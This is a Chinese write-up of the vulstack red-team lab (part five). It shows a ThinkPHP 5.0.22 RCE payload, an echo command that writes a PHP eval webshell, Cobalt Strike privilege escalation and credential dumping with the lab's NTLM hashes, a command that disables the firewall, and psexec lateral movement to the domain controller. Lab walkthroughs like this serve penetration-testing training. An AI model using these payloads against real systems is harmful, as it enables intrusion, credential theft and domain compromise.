一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
Win7:
heart 123.com    #本地管理员用户
sun\Administrator dc123.com    #域管用户,改为了panda123..
 
Win2008:
sun\admin 2020.com    #由于需要改密码,我更改为panda666...
 
②虚拟机网卡设置
Win7双网卡模拟内外网:
外网:桥接模式与物理机相通
内网:根据公开截图是:192.168.138.136,仅主机模式

利用管理员账号登进win7,并将其中一个网卡ip设置为桥接模式的通网段ip:192.168.1.136

 
Win2008只通内网不通外网:
内网:根据公开截图是:192.168.138.138,仅主机模式

③整体环境梳理
靶机:
Win7:192.168.1.136(外网),192.168.138.136(内网)
Win2008:192.168.138.138(内网)
 
攻击机:
kali:192.168.1.2
win10:192.168.1.7
 
利用本地管理员heart登陆win7,并开启phpstudy,启动web环境:

 
二、web层渗透:
0x01 前期信息收集与漏洞利用:
①端口、服务探测:
nmap 192.168.1.136 -T4 -A -sV
 
②初探web
发现开启了80和3306,访问80端口的http服务,发现是thinkphp

 
③thinkphp rce一把梭
随便输入路径,让其报错,发现是5.0.22版本
 
直接去搜索历史漏洞,看下有没有可以直接getshell的,不难找到exp,而且直接RCE了
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
④getshell
然后直接利用echo写入一句话方便后续操作,由于是靶机环境,不考虑免杀,实战中可能需要免杀一句话
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST[cmd]);?^> > shell.php
直接利用蚁剑连接webshell
 
0x02 目标本机信息收集
①发现目标有两个ip,并且存在域sun.com,DNS服务器为192.168.138.138,基本上DNS服务器就是域控
 
查看进程信息,并没有发现杀软
那么目标肯定是横向移动,最终拿下这台域控了,这里为了熟悉Cobaltstrike,所有的内网渗透操作将利用cs完成,并且不存在杀软,就不用考虑免杀了,毕竟是靶机嘛emmm...
 
 
三、内网横向渗透
0x01 让目标主机上线
①使用web_delivery的方式,生成powershell命令

虚拟终端执行payload

 
稍等一会就看见cs上线了

 
0x02 提权
①设置心跳时间为1s,查看当前权限为管理员权限,为了后续更好操作,提权至system

②查看补丁情况,并分析可利用漏洞提权exp
shell systeminfo

windows提权辅助脚本提示存在MS15-051

③利用CS一键提权

 
提权成功返回一个system权限的beacon

 
0x03 内网横向移动
①查看防火墙情况,发现是开启状态
shell netsh firewall show state

为了方便操作,将防火墙关闭
shell netsh advfirewall set allprofiles state off

②内网常规信息收集
当前域内计算机列表:
 
域控列表:

用户列表:

③抓取凭证hash

 
抓取到的全部明文密码、ntlm hash

④上线域用户leo
Spawn As派生会话

 
选择leo的凭证
 
成功拿到leo的beacon

 
⑤继续收集域内信息
net user \\192.168.138.138

又发现多了一个admin用户

 
⑥信息汇总整理:
域名:sun.com
域控:192.168.138.138,机器名:DC
域内机器:192.168.138.136(win7)、192.168.138.138(DC)
所有用户:
非域:heart:123.com;ntlm:afffeba176210fad4628f0524bfe1942
域内用户:sun\administrator(域管):panda123..;ntml:31d6cfe0d16ae931b73c59d7e0c089c0
sun\leo:123.com;ntml:afffeba176210fad4628f0524bfe1942
sun\admin(未知)
krbtgt(未知)
 
 
0x04 攻击域控
①网络环境分析
边界机win7可通外网、内网,域控只能与win7通信,不能出网,所以想要拿到DC权限,可以通过:
1.psexec配合SMB beacon上线DC机器
2.link Listener+IPC$连接上马
 
②横向psexec拿下DC beacon

 
选择域管凭证,并选择smb beacon的监听器,选择一个会话进行横向移动,点击choose

 
成功利用域管账号拿下DC的smb beacon

③导出域内所有hash

 
四、总结
0x01 总体内网拓扑

 
0x02 整体思路
1.端口探测发现80端口web服务,利用thinkphp 5.0.22 rce漏洞getshell
2.简单主机信息收集发现双网卡,判断存在内网环境,并且有域
3.配合windows检测脚本,判断出可利用exp,并利用cs进行提权
4.内网、域常规信息收集,并关闭了防火墙方便后续操作
5.通过凭证hash获取到域用户、域管、其他用户的密码、hash
6.利用抓取到的域管凭证+psexec进行横向到域控
7.经过分析当前网络情况发现域控并不能出网,所以通过SMB beacon+psexec进行横向,最终拿下域控

vulstack红队评估(五)的更多相关文章

  1. vulstack红队评估(四)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu   win7: douser:Dotest123   Win2008 DC: administr ...

  2. vulstack红队评估(三)

    一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件   ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...

  3. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  4. vulstack红队评估(一)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019   因为登陆前要修改密码,改为了panda666...   2.虚拟网卡网络配置: ①Win7双 ...

  5. ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程

    介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...

  6. ATT&CK红队评估实战靶场(一)

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...

  7. Red Team 指南-第1章 红队和红队概述

    第1章 红队和红队概述 贡献者:Tony Kelly @infosectdk # 翻译者 BugMan 什么是红队?它来自哪里? 红队的起源是军事起源.人们意识到,为了更好地防御, 需要攻击自己的防御 ...

  8. 红队(red team)

    红队资源相关 https://threatexpress.com/redteaming/resources/ 红队相关技术 https://github.com/bluscreenofjeff/Red ...

  9. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

随机推荐

  1. Java获取主板序列号、MAC地址、CPU序列号工具类

    import java.io.File; import java.io.FileWriter; import java.io.BufferedReader; import java.io.IOExce ...

  2. 微信小程序语音同步智能识别的实现案例

    目录 一.背景 二.同声传译插件介绍 1. 微信小程序后台添加插件 2. 微信小程序启用插件 三.语音同步转换的前端实现 1.界面UI与操作 2.代码实现 四.后端SpringBoot实现语音文件上传 ...

  3. [工具-001]C++更换EXE的ICON图标

    我们都知道每个可执行文件EXE都会有自己的图标,它可以在项目生成的时候进行指认,但是有时候我们会遇到两种情况:1.没有源代码,2.我们的项目很多,一个个进行更换很耗时.本人就是因为接到这么一个需求,要 ...

  4. Mysql基础(二)

    多表连接 #多表查询 /* sql99标准 等值连接 ①多表等值连接的结果为多表的交集部分 ② n个连接至少需要 n-1个连接 ③一般需要为表起别名 ④可以搭配前面介绍的所有子句的使用,比如排序,分组 ...

  5. python requests用于测试

    https://blog.csdn.net/niedongri/article/details/71404314 https://blog.csdn.net/temanm/article/detail ...

  6. Linux实验

    实验一 Linux系统安装与简单配置 一.实验目的 1.掌握Linux系统安装的分区准备. 2.掌握Linux系统的安装步骤. 3.掌握Linux系统分区的挂载和卸载. 4.掌握Linux系统的启动和 ...

  7. Java实现 蓝桥杯VIP 算法训练 王后传说

    问题描述 地球人都知道,在国际象棋中,后如同太阳,光芒四射,威风八面,它能控制横.坚.斜线位置. 看过清宫戏的中国人都知道,后宫乃步步惊心的险恶之地.各皇后都有自己的势力范围,但也总能找到相安无事的办 ...

  8. Java实现 LeetCode 350 两个数组的交集 II(二)

    350. 两个数组的交集 II 给定两个数组,编写一个函数来计算它们的交集. 示例 1: 输入: nums1 = [1,2,2,1], nums2 = [2,2] 输出: [2,2] 示例 2: 输入 ...

  9. Java实现 LeetCode 82 删除排序链表中的重复元素 II(二)

    82. 删除排序链表中的重复元素 II 给定一个排序链表,删除所有含有重复数字的节点,只保留原始链表中 没有重复出现 的数字. 示例 1: 输入: 1->2->3->3->4- ...

  10. Java 虚拟机是如何判定两个 Java 类是相同的?

    Java 虚拟机是如何判定两个 Java 类是相同的? 答:Java 虚拟机不仅要看类的全名是否相同,还要看加载此类的类加载器是否一样.只有两者都相同的情况,才认为两个类是相同的.即便是同样的字节代码 ...